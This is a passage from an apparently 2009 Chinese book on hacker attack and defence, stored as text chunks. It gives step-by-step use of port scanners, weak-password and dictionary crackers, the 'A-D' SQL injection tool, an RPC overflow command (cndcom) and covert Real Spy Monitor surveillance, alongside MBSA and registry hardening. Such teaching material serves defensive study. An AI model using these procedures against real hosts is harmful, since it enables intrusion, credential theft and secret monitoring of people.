步骤3：使用FreePortScanner可以只对目标主机开启的端口进行扫描，在\"IP\"文本框中输入要扫描的\"IP\"地址之后，再取消勾选\"Show Closed Ports\"复选框。 步骤4：单击【Scan】按钮，在扫描完毕之后，即可显示出扫描结果，从扫描结果中可以看到目标主机开启的端口，如图2-14所示。 图 2-14 只扫描开启的端口 （2）ScanPort ScanPort软件不但可以用于网络扫描，同时还可以探测指定IP及端口，速度比传统软件快，且支持用户自设IP端口又增加了其灵活性。"},
    {"text": "步骤1：运行ScanPort主程序，即可打开\"ScanPort\"主窗口，在其中设置起始IP地址、结束IP地址以及要扫描的端口号，如图2-15所示。 图 2-15 【ScanPort】端口 步骤2：单击【扫描】按钮，即可进行扫描，从扫描结果中可以看出IP地址段中计算机开启的端口，如图2-16所示。"},
    {"text": "图 2-16 扫描后的结果 （3）S扫描器 S扫描器是一款命令行下高速扫描利器，用这工具的好处就在于其扫描速度非常快。 究竟如何使用S扫描器？"},
    {"text": "示例1：下载并运行S扫描器，在命令提示符下键入\"STCP 192.168.0.1 192.168.0.45 80 512\"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中的80端口，最大并发线程是512，如图2-17所示。 图 2-17 TCP扫描网段IP端口 示例2：下载并运行S扫描器，在命令提示符下键入\"STCP 192.168.0.1 192.168.0.45 21，5631 512/banner\"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中的21和5631端口，最大并发线程是512并显示Banner，如图2-18所示。 图 2-18 用TCP扫描端口并显示Banner 示例3：下载并运行S扫描器，在命令提示符下键入\"STCP 192.168.0.1 192.168.0.45 1-200 512\"命令，即可实现TCP扫描从192.168.0.1到192.168.0.45这段IP中1到200端口，最大并发线程是512，如图2-19所示。 图 2-19 用TCP扫描1-200之间的端口 示例4：下载并运行S扫描器，在命令提示符下键入\"STCP 192.168.0.13 1-200 512\"命令，即可实现TCP扫描192.168.0.13这段IP中1到200端口，最大并发线程是512，如图2-20所示。 图 2-20 用TCP扫描本机IP端口 示例5：下载并运行S扫描器，在命令提示符下键入\"SSYN 192.168.0.13 1-65535/save\"命令，即SYN扫描192.168.0.13段IP中的1～65535端口，将结果写入Result.txt文本文档。"},
    {"text": "图 2-21 用SYN扫描1-65535之间的端口 示例6：下载并运行S扫描器，在命令提示符下键入\"SSYN 192.168.0.1 192.168.0.20 21/save\"命令，即SYN扫描192.168.0.1到192.168.0.20这IP段中的21端口，将结果写入Result.txt文本文档中。"},
    {"text": "未知 第10招 扫描服务与端口 黑客通过端口扫描器可在系统中寻找开放的端口和正在运行的服务，从而知道目标主机操作系统的详细信息。目前网络中大量主机/服务器的口令为空或口令过于简单，黑客只需要利用专用扫描器，即可轻松控制这种弱口令的主机。 1.黑客字典与弱口令扫描工具 所谓黑客字典就是装有各种密码的破解工具，通常情况下，只要知道本地文件的内容，就可以运用黑客字典将其破解。当然，黑客字典文件的好坏，直接关系到黑客是否能够破解到对方的密码，以及破解出密码花费多少时间。 （1）小榕黑客字典 小榕黑客字典是一款功能强大，可根据用户需要任意设定包含字符、字符串的长度等内容的黑客字典生成器。其具体操作方法如下。 步骤1：将“小榕黑客字典”软件解压缩后，双击\"UltraDict.exe\"图标，即可弹出【字典设置】对话框，如图2-23所示。 图 2-23 设置字典选项 步骤2：在“设置”标签中可选择生成字符串包含的字母或数字及其范围，在“选项”标签中可根据特殊需要选取相应的选项，如图2-24所示。 图 2-24 选项设置 步骤3：在“高级选项”标签中可将字母、数字或字符位置进行固定，如图2-25所示。 图 2-25 设置高级选项 步骤4：在“文件存放位置”标签中指定字典文件保存位置之后，单击【确定】按钮，则显示所设置的字典文件属性，如图2-26所示。单击【开始】按钮，系统开始生成字典，并显示生成字典的进度，如图2-27所示。 图 2-26 高级字典属性 图 2-27 生成字典进度 （2）弱口令扫描器Tomcat 当字典文件创建好后，就可以使用弱口令扫描器，加载自己编辑的字典文件进行弱口令扫描了。Tomcat可以根据需要加载用户名称字典、密码字典，对一定IP范围内的主机进行弱口令扫描。具体的操作方法如下。 步骤1：将下载的压缩包解压后双击\"Apache Tomcat.exe\"图标，即可进入其操作界面，如图2-28所示。 图 2-28 Tomcat操作界面 步骤2：单击【设置】按钮，再分别单击“用户名”和“密码”列表框下方的【导入】按钮，即可导入编辑好的黑客字典，如图2-29所示。 图 2-29 导入黑客字典 步骤3：单击【信息】按钮，在其中输入需要扫描的IP地址范围。单击【添加】按钮，即可将其添加地址列表中。单击【开始】按钮，即可开始扫描。若发现活动主机，即可对主机的用户名和密码进行破解。 2.注入点扫描实例 啊D注射工具是一款功能非常强大的注射工具，集旁注检测、SQL猜解决、密码破解、数据库管理等功能于一身。实现啊D注入攻击的一般操作步骤如下。 步骤1：下载并解压啊D注入工具包，即可打开解压后的“啊D注入工具文件夹”窗口，如图2-30所示。双击“啊D注入工具”应用程序图标，即可进入“啊D注入工具”主窗口，如图2-31所示。 图 2-30 “啊D注入工具文件夹”窗口 图 2-31 “啊D注入工具”主窗口 步骤2：在“注入检测”选项栏目中单击【扫描注入点】按钮，即可打开“扫描注入点”页面，在“注入连接”地址栏中输入注入的网站地址。单击 按钮，即可打开该网站并扫描注入点个数，如图2-32所示。 图 2-32 “扫描注入点”页面 步骤3：若单击“注入连接”右侧的 按钮，在其中对Cookies进行修改，如图2-33所示。根据需要选中其中的一个注入点，单击“注入检测”选项栏下方的【SQL注入检测】按钮，即可进入“SQL注入检测”页面。 图 2-33 对Cookies进行修改 步骤4：单击【检测】按钮等待检测完成后，单击【检测表段】按钮，即可检测出相应表段。再任意选择其中一个表段并单击右边【检测字段】按钮，即可检测出该表对应的字段。选择该表中的所有字段，单击【检测内容】按钮，即可开始检测内容，如图2-34所示。 图 2-34 “SQL注入检测”页面 步骤5：稍等一段时间，待内容检测完毕后，在“检测内容”下方的列表框中，即可查看详细的检测内容（包括：用户名、密码、编号等）。显示结果如图2-35所示。 图 2-35 查看详细的检测内容 步骤6：单击“注入检测”选项栏目下方的【管理入口检测】按钮，即可打开“管理入口检测”页面，在“网站地址”栏目中输入需要管理入口检测的地址，单击【检测管理入口】按钮，等待几秒钟后，即可在下方列表中显示该网站的所有登录入口点，如图2-36所示。 图 2-36 “管理入口检测”页面"},
    {"text": "1.用X-scan查看本机IP地址 利用X-Scan扫描器来查看本机的IP地址的方法很简单，需要先指定扫描的IP范围。 由于是本机探测，只需要在“命令提示符”窗口中命令提示符下输入\"IPConfig\"命令，即可查知本机当前IP地址，如图2-37所示。 图 2-37 查看本机IP地址 2.添加IP地址 X-Scan的使用极其简单，解压缩后双击X-Scan_gui应用程序，即可打开并运行X-Scan主窗口，在其中可浏览此软件的功能简介、常见问题解答等信息，如图2-38所示。 图 2-38 X-Scan主窗口 在得到本机的IP地址后，则需要将IP地址添加到X-Scan扫描器中，具体操作步骤如下。 步骤1：在X-Scan主窗口中，选择【设置】→【扫描参数】菜单项或单击工具栏上的“扫描参数”按钮 ，即可打开【扫描参数】对话框，如图2-39所示。 图 2-39 设置扫描IP范围 步骤2：选择“检测范围”选项，即可设置扫描IP地址的范围。 在“指定IP范围”文本框中，可输入需要扫描的IP地址（如192.168.0.1）、IP地址段（如192168.0.1～192.168.0.88），还能增加子网掩码（如192.168.0.1/24）等。"},
    {"text": "3.开始扫描 在设置好扫描参数之后，就可以开始扫描了。 单击X-Scan工具栏上的【开始扫描】按钮 ，即可按设置条件进行扫描，同时显示扫描进程和扫描所得到的信息（可通过单击右下方窗格中的“普通信息”、“漏洞信息”及“错误信息”选项卡，查看所得到的相关信息），如图2-40所示。"},
    {"text": "在扫描完成后将自动生成扫描报告并显示出来，其中显示了活动主机IP地址、存在的系统漏洞和其他安全隐患，同时还提出了安全隐患的解决方案，如图2-41所示。"},
    {"text": "图 2-40 扫描进度 图 2-41 扫描报告 X-Scan扫描工具不仅可扫描目标计算机的开放端口及存在的安全隐患，而且还具有目标计算机物理地址查询、检测本地计算机网络信息和Ping目标计算机等功能，如图2-42所示。 图 2-42 X-Scan的其他功能 当所有选项都设置完毕之后，如果还想将来使用相同的设置进行扫描，则可以对这次的设置进行保存。"},
    {"text": "4.高级设置 X-Scan在缺省状态下效果往往不会发挥到最佳状态，这个时候就需要进行一些高级设置来让X-Scan变得强大起来。 高级设置需要根据实际情况来做出相应的设定，否则X-Scan也许会因为一些“高级设置”而变得脆弱不堪。"},
    {"text": "（1）设置扫描模块 展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块，在选择扫描模块时还可在其右侧窗格中查看该模块的相关说明，如图2-43所示。 图 2-43 选择扫描模块 （2）设置扫描线程 因为X-Scan是一款多线程扫描工具，所以在“全局设置”选项下的“并发扫描”子选项中，可以设置扫描时的线程数量（扫描线程数量要根据自己网络情况来设置，不可过大），如图2-44所示。 图 2-44 设置扫描线程数量 （3）设置扫描报告存放路径 在“全局设置”选项中选取“扫描报告”子选项，即可设置扫描报告存放的路径，并选择报告文件保存的文件格式。 若需要保存设置的扫描IP地址范围，则可在勾选“保存主机列表”复选框之后，输入保存文件名称，这样，以后就可以调用这些IP地址了。"},
    {"text": "图 2-45 设置报告存放路径 （4）设置其他扫描选项 在“全局设置”选项中选取“其他设置”子选项，则可设置扫描过程其他选项，如勾选“跳过没有检测到开放端口的主机”复选框，如图2-46所示。 图 2-46 其他选项设置 （5）设置扫描端口 展开“插件设置”选项并选取“端口相关设置”子选项，即可扫描端口范围以及检测方式，如图2-47所示。 若要扫描某主机的所有端口，则可在“待扫描端口”文本框中输入“1～65535”。 图 2-47 设置端口范围 （6）设置SNMP扫描 在“插件设置”选项中选取“SNMP相关设置”子选项，用户可以选取在扫描时获取SNMP信息的内容，如图2-48所示。 图 2-48 选择需要获取的SNMP信息 （7）设置NETBIOS扫描 选取“插件设置”选项下的“NETBIOS相关设置”子选项，用户可以选择需要获取的NETBIOS信息，如图2-49所示。 图 2-49 选取需要获取的NETBIOS信息 （8）设置漏洞检测脚本 选取“插件设置”选项下的“漏洞检测脚本设置”子选项，在显示窗口中取消勾选“全选”复选框，单击【选择脚本】按钮，即可选择扫描时需要加载的漏洞检测脚本，如图2-50所示。 图 2-50 选择漏洞检测脚本 （9）设置CGI插件扫描 在“插件设置”选项下选择“CGI相关设置”子选项，即可选择扫描时需要使用的CGI选项，如图2-51所示。"},
    {"text": "未知 第12招 用流光扫描主机漏洞 流光在国内的安全爱好者们心中可以说是无人不晓，它不仅仅是一个安全漏洞扫描工具，更是一个功能强大的渗透测试工具。流光以其独特的C/S结构设计的扫描设计颇得好评。 1.批量主机扫描 流光因功能较多，所以对初学者来说显得有点儿繁琐，不过幸好熟悉这个过程需要的时间不会太长，下面将为大家详细讲述用流光扫描主机漏洞的方法。具体操作步骤如下。 步骤1：在“流光”主窗口中选择【文件】→【高级扫描向导】菜单项或按\"Ctrl+W\"组合键，即可弹出【设置】对话框，如图2-53所示。 图 2-53 “流光”主窗口 步骤2：在“起始地址”和“结束地址”项右侧文本框中输入起始IP（如：192.168.0.1）和终止IP（如：192.168.0.255），将“目录系统”设置为\"Windows NT/2000\"，如图2-54所示。 图 2-54 【设置】对话框 步骤3：在全选所有检测项目后，单击【下一步】按钮，即可打开【PORTS】对话框，在其中指定扫描的端口范围（这里既可选择“标准端口扫描”项，也可选中“自定端口扫描范围”项），自行设定所需要扫描的端口范围，如图2-55所示。 图 2-55 【PORTS】对话框 步骤4：在如图2-56所示中全都选择默认状态后，单击【下一步】按钮，直到进入\"Telnet\"设置界面，则清空\"SunOS Login\"选项，如图2-57所示。 图 2-56 各个选项设置界面 图 2-57 \"Telnet\"设置界面 步骤5：单击【下一步】按钮进入\"CGI Rules\"设置界面，在操作系统类型列表中选择\"Windows NT/2000\"项，根据需要选中或清空下方扫描列表的具体选项，如图2-58所示。 图 2-58 \"CGI Rules\"设置界面 步骤6：单击【下一步】按钮，即可在如图2-59所示中选择默认状态，也可以根据实际需要清空部分选项。单击【下一步】按钮，即可进入\"Plugings\"设置界面，将操作系统的类型设置为\"Windows NT/2000\"选项，如图2-60所示。 图 2-59 设置扫描各项 图 2-60 \"Plugings\"设置界面 步骤7：在完成基本设置后，还需要指定扫描引擎的位置。单击【下一步】按钮，即可打开【选择流光主机】对话框，流光的扫描引擎既可以安装在不同的主机上，也可以直接从本地启动，如图2-61所示。如果没有安装过任何扫描引擎，流光将使用默认的本地扫描引擎。 图 2-61 【选择流光主机】对话框 步骤8：单击【开始】按钮，程序开始进行扫描并可以在流光右上部分的控制台中看到正在扫描的内容，如图2-62所示。 图 2-62 查看正在扫描的内容 步骤9：当扫描到安全漏洞时流光会弹出一个“扫描结果”窗口，在其中可以看到能够连接成功的主机和其扫描到的安全漏洞信息，如图2-63所示。当扫描结束后，流光会弹出一个对话框，询问用户是否立即查看更为详细的扫描结果，如图2-64所示。 图 2-63 探测结果 图 2-64 “注意”提示框 步骤10：单击【是】按钮，随即流光将使用IE浏览器打开含有扫描报告的网页，在其中可以看到每台主机的详细扫描报告，如图2-65所示。 图 2-65 查看详细扫描报告 2.指定漏洞扫描 很多时候并不需要对指定主机进行全面的扫描，而是根据需要对指定的主机漏洞进行扫描。比方说只想扫描指定主机是否具有FTP方面的漏洞，是否有CGI方面的漏洞等。 具体的操作步骤如下。 步骤1：先加入需要破解的站点名称，只需在“流光”主窗口中右击“FTP主机”，在快捷菜单中选择【编辑】→【添加】菜单项，即可打开【添加主机】对话框，如图2-66所示。 图 2-66 “流光”主窗口 步骤2：在其中输入远程主机的域名或IP地址，单击【确定】按钮关闭对话框，如图2-67所示。因为要探测主机的FTP是否存在漏洞，而这个是从FTP是否具有弱口令体现出来的。 图 2-67 【添加主机】对话框 步骤3：还需在流光中添加用户和密码的字典。右击添加主机“192.168.0.14”，在快捷菜单中选择【编辑】→【从列表中添加】菜单项，即可打开【打开】对话框，如图2-68所示。 图 2-68 添加用户名和字典 步骤4：在【打开】对话框中选择流光安装目录中含有用户名列表的Name文件，如图2-69所示。单击【打开】按钮，双击新添加用户列表文件下的“显示所有项目”项，随即“显示所有项目”项将切换成“隐藏所有项目”项，而用户列表中的所有用户都将显示出来，此时可以通过鼠标单击勾选/清除复选框来决定用户名的选用与否，如图2-70所示。 图 2-69 【打开】对话框 图 2-70 查看隐藏的所有项目 步骤5：按\"Ctrl+F7\"快捷按钮，即可令流光开始FTP的弱口令探测。当流光探测到弱口令后，在主窗口下方将会出现探测到的用户名、密码和FTP地址，如图2-71所示。 图 2-71 显示“所有探测的密码”窗口"},
    {"text": "未知 第13招 用MBSA检测Windows系统 Microsoft基准安全分析器（Microsoft Baseline Security Analyzer, MBSA）工具允许用户扫描一台或多台基于Windows的计算机，以发现常见的安全方面的配置错误。MBSA将扫描基于Windows的计算机并检查操作系统和已安装的其他组件（如IIS和SQL Server），以发现安全方面的配置错误，并及时通过推荐的安全更新进行修补。 1.MBSA的安装设置 MBSA可以执行对Windows系统的本地和远程扫描，可以扫描错过的安全升级补丁已经在Microsoft Update上发布的服务包。使用MBSA V2.0对系统漏洞进行安全分析之前，先要对MBSA进行安装设置，具体的操作步骤如下。 步骤1：下载并双击\"MBSA V2.0\"安装程序图标，即可进入“Welcome to the Microsoft Baseline Security Analyzer（MBSA V2.0欢迎安装向导）”界面，如图2-72所示。 图 2-72 \"Welcome to the Microsoft Baseline Security Analyzer\"界面 步骤2：单击【Next】按钮，即可打开【License Agreement】对话框，在其中阅读安装信息，如图2-73所示。 图 2-73 【License Agreement】对话框 步骤3：在阅读完毕后，选择\"I accept the license agreement\"单选项，单击【Next】按钮，即可打开【Destination Folder】对话框。单击【Browse】按钮，在其中根据需要选择安装的目标位置，如图2-74所示。 图 2-74 【Destination Folder】对话框 步骤4：在选择好安装的目标位置之后，单击【Next】按钮，即可打开【Start installation】对话框，如图2-75所示。若单击【Back】按钮，则返回上一级菜单。 图 2-75 【Start installation】对话框 步骤5：单击【Install】按钮，即可打开【Installation progress】对话框，程序开始安装并显示安装的进度条，如图2-76所示。程序安装完毕后，即可弹出【MBSA Setup】提示框，提示\"Microsoft Baseline Security Analyzer Setup has Completed Successfully\"信息。单击【OK】按钮，将完成整个安装过程，如图2-77所示。 图 2-76 【Installation progress】对话框 图 2-77 【MBSA安装】提示框 2.检测单台计算机 单台计算机模式最典型的情况是“自扫描”，也就是扫描本地计算机。 扫描单台计算机的具体操作步骤如下。 步骤1：双击桌面上的\"MBSA V2.0\"应用程序图标，即可进入\"MBSA V2.0\"应用程序主窗口，如图2-78所示。 图 2-78 \"MBSA V2.0\"应用程序主窗口 步骤2：在这里可以选择检测一台计算机，还是检测多台计算机。如果要检测一台（通常是当前计算机，但也可以是网络中其他计算机），则只需要单击【Scan a computer】按钮，即可打开【Pick a Computer to Scan】对话框，在\"Computer name\"栏中，选择默认的当前计算机名；用户也可以更改，在\"IP address\"栏中输入需要检测的其他计算机IP地址，如图2-79所示。 图 2-79 【Pick a Computer to Scan】对话框 提示 要想扫描一台计算机，必须具有该计算机的管理员访问权限才行。在【Pick a Computer to Scan】对话框中有许多复选框。其中涉及到选择扫描检测的项目，包括Windows系统本身、IIS和SQL等相关选项，也就是MBSA的三大主要功能。根据检测到的计算机系统中所安装的程序系统和实际需要来确定。如果要形成检测结果报告文件，则在\"Security report name\"栏中输入报告文件名称。 步骤3：在输入要检测的计算机并选择好要检测的项目后，单击【Start Scan】按钮，即可打开【Scanning】对话框，自动开始检测已选择项目并显示检测进度条，如图2-80所示。 图 2-80 【Scanning】对话框 步骤4：在检测完成之后，即可弹出【View Security report】对话框，如图2-81所示。若单击\"Microsoft Baseline Security Analyzer\"栏目下方的【Pick a security report to view】按钮，即可查看扫描后的安全报告内容，如图2-82所示。 图 2-81 【View Security report】对话框 图 2-82 扫描后的安全报告内容 在报告中凡检测到存在严重安全隐患的则以红色“×”显示，中等级别的则以黄色“×”显示。用户还可单击\"How to correct this\"链接了解如何配置才能纠正这些不正确设置。 在如图2-81所示的检测结果中，第一项（Windows Security updates），是严重隐患，说明用户存在安全更新的问题。第二项和第三项（Office Security Updates和Silverlight Security Updates）是中等级别的隐患，说明Office软件的安全性更新与Silverlight的安全性更新等存在问题。 3.检测多台计算机 多台计算机模式是对某一IP地址段或整个域进行扫描。只需单击左侧\"Microsoft Baseline Security Analyzer\"栏目下方的【Pick a Multiple Computers to Scan】按钮，即可指定要扫描检测的多台计算机。所扫描的多台计算机范围可通过在\"Domain name\"文本框中输入这些计算机所在域来确定。这样，可检测相应域中所有计算机，也可通过在\"IP address range\"栏中输入IP地址段中的起始IP地址和终止IP地址来确定，这样，只检测IP地址范围内的计算机。单击【Start Scan】按钮，同样可以开始检测，如图2-83所示。 图 2-83 检测的多台计算机"},
    {"text": "未知 第14招 深入浅出RPC漏洞扫描 RPC（Remote Procedure Call，远程过程调用）是操作系统的一种消息传递功能。RPC在处理通过TCP/IP的消息交换部分有一个漏洞。如果成功利用此漏洞，攻击者就可以取得系统的控制权，完全控制被入侵的系统，窃取文件、破坏资料、重新格式化硬盘或建立系统管理员权限的账户等。RPC漏洞溢出攻击的具体操作方法如下。 步骤1：将下载好的Dcomrpc.xpn插件复制到X-scan的Plugin文件夹中运行X-scan，执行“设置”→“扫描参数”命令，在【扫描参数】对话框的“全局设置”和“扫描模块”中，可看到增加的“DcomRpc溢出漏洞”模块，如图2-84所示。 图 2-84 添加RPC漏洞扫描模块 步骤2：如果使用rpc_locator.exe专用RPC溢出漏洞扫描工具，则先打开“命令提示符”窗口，进入rpc_locator.exe所在文件夹，执行“rpc_locator起始IP地址结束IP地址”命令后开始扫描并看到最终扫描结果，如图2-85所示。 图 2-85 rpc_locator的使用 步骤3：在扫描到RPC溢出漏洞主机之后，可使用cndcom.exe溢出工具，执行\"Cndcom＜Target ID＞＜Target IP＞\"命令。 例如：攻击一个IP地址为127.0.0.1，系统版本为英文版Windows 2000+SP4的目标主机，其对应的溢出攻击命令如图2-86所示。对于存在RPC溢出漏洞的系统，用户应及时下载相应的安全补丁并进行安装，同时还应使用防火墙封堵135端口。 图 2-86 执行溢出工具命令 未知 第15招 用ProtectX防御扫描器追踪 ProtectX是一款在用户连接网络时保护电脑的工具，可以同时监视20个端口，还可以帮助追踪攻击者的来源。一旦任何入侵者尝试连接到用户的电脑，即可发出声音警告并将入侵者的IP位址记录下来，可以防止黑客入侵。 1.ProtecX实用组件概述 ProtectX安装过程与一般软件安装过程类似，这里不再赘述。在安装完毕ProtectX后重启系统，即可在Windows系统的通知栏中看到显示的ProtectX 图标，双击即可显示操作界面，窗口中间显示的是当前本机状态信息，如图2-87所示。 图 2-87 ProtectX初始界面 ProtectX提供了几项实用功能组件，依次是端口安全（Port Sentry）、特洛伊安全（Trojan Sentry）和Identd服务（Identd Server）等。 1）端口安全。端口安全就是端口扫描监视器，在TCP端口1上监听，如果有扫描活动触发到1号端口，则Port Sentry将会报警，如图2-88所示。Protectx便可反跟踪对方，查询其域名、追溯起路由信息，并显示所截击到的扫描信息，如图2-89所示。 图 2-88 Port Sentry的报警信息 图 2-89 显示所截击到的扫描信息 2）特洛伊安全。特洛伊安全是指在一些木马常用端口上进行监听，一旦发现有人试图连接这些端口，即可报警。 3）Identd服务。可在计算机上打开一个安全Identd服务，初级用户最好不要打开这个服务。 2.防御扫描器入侵 有了ProtectX的保护，对于一般的扫描攻击，大家就不用担心了。不过仅仅依靠这个工具，还远远谈不上安全，还需要提前做好防御扫描入侵的准备。 1）对于Windows 2000/XP用户，要修改注册表，禁止匿名用户对IPC$的访问。方法是在注册表编辑器中展开到HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControl Set\\Control\\Lsa分支，找到restrictanonymous键值并将其值改为1，如图2-90所示。 图 2-90 将restrictanonymous键值改为1 2）修改注册表，禁止自动管理共享。在注册表编辑器中展开HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControl Set\\Services\\Lanmanserver\\parameters分支，找到AutoShareServer键值并将其改为0，同时找到AutoShareWKs键值，改为0，如图2-91所示。 图 2-91 将restrictanonymous键值改为0 3）及时更新操作系统。"},
    {"text": "未知 前言 本书写作的目的主要是通过介绍黑客的攻击手段和提供相应的主动防御保护措施，使读者能够循序渐进地了解黑客入侵主动防御的关键技术与方法，提高安全防护意识，并将这些技术与方法应用于实际工作中。希望本书能成为网络信息安全专业技术人员、网络安全管理人员、网络使用者及信息时代的创业者的一本实用的网络安全工具书。 下面简要介绍本书的特点、学习方法以及提供的服务。 本书内容 本书以配图、图释、标注、指引线框等丰富的图解手段，再辅以浅显易懂的语言，通过对黑客攻击前的准备、扫描与反扫描技术、控制与反控制技术、欺骗与反欺骗、加密与解密工具、病毒与木马攻击防御、网络代理与追踪技术、注入工具与溢出攻击、账号盗取与安全防范、日志与后门清除技术、安全分析与入侵检测、流氓软件与间谍程序清除12大类，100多个知识点的详细介绍，给出了相关代表性产品和工具的介绍及使用方法，使得读者可对网络安全主动防护及黑客入侵主动防御等具有代表性的技术有一个全面认识。 此外，本书还从黑客入侵防护应用角度给出了相对独立的内容的论述，使读者可对如何构建一个实用的黑客入侵防范体系有一个基本概念和思路，并可为读者提供几种典型行业的安全防护系统建设方案，以供参考和借鉴。 增值服务 随书所附光盘提供了多种攻防实战的教学视频，汇集了众多高手的操作精华，通过增进读者对主流操作手法感性认识的方式，使读者实现高效学习。 此外，如发现本书中有不妥或需要改进之处，还可通过访问http://www.newtop01.com或QQ：274648972与编者进行沟通，编者将衷心感谢提供建议的读者，并真心希望在和广大读者互动的过程中能得到提高。 组织方式 本书包含了3种学习方式，即简明教程、图解教程和范例教程。 简明教程：用最简单明了的语言来讲解，只介绍最重要的知识点及最常见的应用，与此无关的内容均不涉及。 图解教程：“理论+实战图文+视频=让读者快速入门”，编者采用最为通俗易懂的图文解说，即使是电脑新手也能通读全书。 范例教程：用任务驱动、情景教学的方式来介绍，在学习案例过程中掌握知识点。最新黑客技术盘点，让读者实现“先下手为强”。学习目的性、指向性最强。 本书特色 本书以情景教学、案例驱动与任务进阶为鲜明特色，在书中可以看到一个个生动的情景案例。通过完成一个个实践任务，读者可以轻松掌握各种知识点，在不知不觉中快速提升实战技能。 从基础到实践，完全站在实用的角度，介绍黑客攻防技术，突出了实用性和案例分析，所举实例，来自于实际应用，学以致用，真正解决问题。 通俗易学，结合图解、标注和多媒体教学，使神秘、高深、难以掌握的黑客攻防技术学习起来省时、省力，易于上手，非常适合新手、大专院校学生，以及网络从业人员掌握快速掌握实用技术。 紧扣“理论+实战图文+视频=全面提升学习效率！”的主导思想，详细分析每一个操作案例，以实现读者用更少时间尽快掌握加密解密技术的操作，并对实战过程中常见问题作必要的说明与解答。 当前最新技术、热点技术和常用相关工具软件都在本书有所涉及，有关黑客攻防技术、方法与思路，也做了重点讲解，并通过实例介绍综合技术的运用手段，最后能够达到举一反三。 读者对象 本书作为一本面向广大网络爱好者的速查手册，适合于如下读者学习使用： 电脑爱好者。 具备一定黑客知识基础和工具使用基础的读者。 网络管理人员。 喜欢研究黑客技术的网友。 大、中专院校相关学生。 本书作者 本书作者团队长期从事网络安全管理工作，都具有较强的实践操作能力及一线拼杀经验，可带领广大醉心技术者穿越迷雾，把黑客们的伎俩看清楚。参与本书编写工作的有：安向东负责第1章，田靖负责第2章，孙世宁、李防负责第3、4、5章，孙璐红负责第6章，王肖苗负责第7章，赵慧婷负责第8章，杨平负责第9章，段玲华负责第10章，李伟负责第11章，王英英负责第12章，最后由武新华通审全稿。我们虽满腔热情，但限于自己的水平，书中仍难免有疏漏之处。因此，还望大家本着共同探讨、共同进步的平和心态来阅读本书。作者心存谨敬，随时恭候您提出的宝贵意见。 最后，需要提醒大家的是：根据国家有关法律规定，任何利用黑客技术攻击他人的行为都属于违法行为，希望读者在阅读本书后不要使用本书中介绍的黑客技术对别人进行攻击，否则后果自负，切记！切记！ 编者 2009年8月"},
    {"text": "未知 第16招 监控局域网计算机 针对机房中的用户经常误设工作组、随意更改计算机名、IP地址和共享文件夹等情况，可以使用“局域网查看工具LanSee”非常方便地完成监控，既可以迅速排除故障，又可以解决一些潜在的安全隐患。 1.搜索计算机 LanSee是一款主要用于对局域网（Internet上也适用）上各种信息进行查看的工具，采用多线程技术，将局域网上比较实用的功能完美地融合在一起，功能十分强大。 使用LanSee工具搜索计算机的具体操作步骤如下。 步骤1：双击下载的应用程序，即可打开【局域网查看工具】主窗口，如图2-92所示。 图 2-92 【局域网查看工具】主窗口 步骤2：单击【设置】按钮，即可在【设置】对话框中选择相应网段形式，并进行相应的设置，如图2-93所示。在【搜索计算机设置】选项卡中选择在局域网内搜索计算机的选项，并在其文本框中输入搜索的相关任务，如图2-94所示。 图 2-93 【设置】对话框 图 2-94 【搜索计算机设置】对话框 步骤3：在【搜索文件设置】选项卡中没有要使用的文件类型，则可在【添加】按钮左侧的文本框中输入需要的文件格式名，如图2-95所示。单击【添加】按钮，即可成功添加。 图 2-95 【搜索文件设置】对话框 步骤4：在选择所需格式之后，单击【保存设置】按钮，即可完成对搜索文件的设置。在【端口设置】选项卡中选择扫描的范围，并在“常用端口设置”中选择要使用的端口，如图2-96所示。 图 2-96 【端口设置】对话框 步骤5：打开【局域网查看工具】主窗口后，在“搜索工作组”文本框中输入某台计算机名称，单击【计算机名→IP】按钮，即可在文本框中显示出该计算机IP地址，如图2-97所示。 图 2-97 IP地址的显现 步骤6：如果要打开搜索的计算机并与之进行连接，则单击【打开该计算机】按钮，在【连接到】对话框中输入相应内容，即可与此计算机建立连接，如图2-98所示。 图 2-98 【连接到】对话框 步骤7：如果想要搜索某一工作组的计算机，则单击【搜索工作组】按钮，即可搜索到局域网内的一切工作组，如图2-99所示。单击【搜索计算机】按钮，即可搜索出相应的计算机，如图2-100所示。 图 2-99 工作组显现 图 2-100 搜索计算机 2.搜索共享资源 共享资源往往是局域网数据泄漏的“罪魁祸首”，网管要经常检查局域网中是否存在一些不必要的开放共享资源，在查看到不安全因素后，要及时通知开放共享的用户将其关闭。 在LanSee中进行这个操作前需要先搜索出计算机，单击菜单栏中【搜索共享资源】按钮，即可在“共享资源列表”框中看到每台计算机开放的共享资源，如图2-101所示。 图 2-101 搜索共享资源"},
    {"text": "未知 第17招 Real Spy Monitor监控网络 Real Spy Monitor是一个监测互联网和个人电脑，以保障其安全的软件，包括键盘敲击、网页站点、视窗开关、程序执行、屏幕扫描以及文件的出入等都是其监控的对象。 1.添加使用密码 在使用Real Spy Monitor对系统进行监控之前，要进行一些设置，具体的操作步骤如下。 步骤1：在安装完Real Spy Monitor之后，双击桌面上的\"Real Spy Monitor\"应用程序图标，即可弹出“注册”页面，如图2-102所示。 图 2-102 “注册”页面 步骤2：在阅读相应的注册信息后，单击【Continue..】按钮，即可打开【SetPassWord】对话框。由于是第一次使用，所以没有旧密码可更改，只需在\"New Password\"和\"Confirm\"文本框中输入相同的密码。单击【OK】按钮，即可完成密码设置，如图2-103所示。 图 2-103 【SetPassWord】对话框 小技巧 在【SetPassWord】对话框中所填写的新密码，将会在Real Spy Monitor的使用中处处要用，所以千万不能忘记密码。 2.设置弹出热键 需要设置弹出热键，那是因为Real Spy Monitor运行时会彻底地将自己隐藏，用户在“任务管理器”等处看不到该程序的运行。要将运行时的Real Spy Monitor调出就要使用热键才行，否则即使单击【开始】菜单中的Real Spy Monitor菜单项也不会将其调出。 设置热键的具体操作步骤如下。 步骤1：在设置完使用密码后将返回到\"Real Spy Monitor\"主窗口，如图2-104所示。 图 2-104 \"Real Spy Monitor\"的主窗口 步骤2：单击\"Hotkey Choice\"图标，即可打开【Configuration】对话框，在\"Select your hotkey patten\"下拉列表中选择所需热键（也可自定义），如图2-105所示。 图 2-105 【Configuration】对话框 3.监控浏览过的网站 在完成了最基本的设置后，就可以使用Real Spy Monitor进行系统监控了。下面讲述Real Spy Monitor如何对一些最常使用的程序进行监控。监控浏览过的网站的具体操作步骤如下。 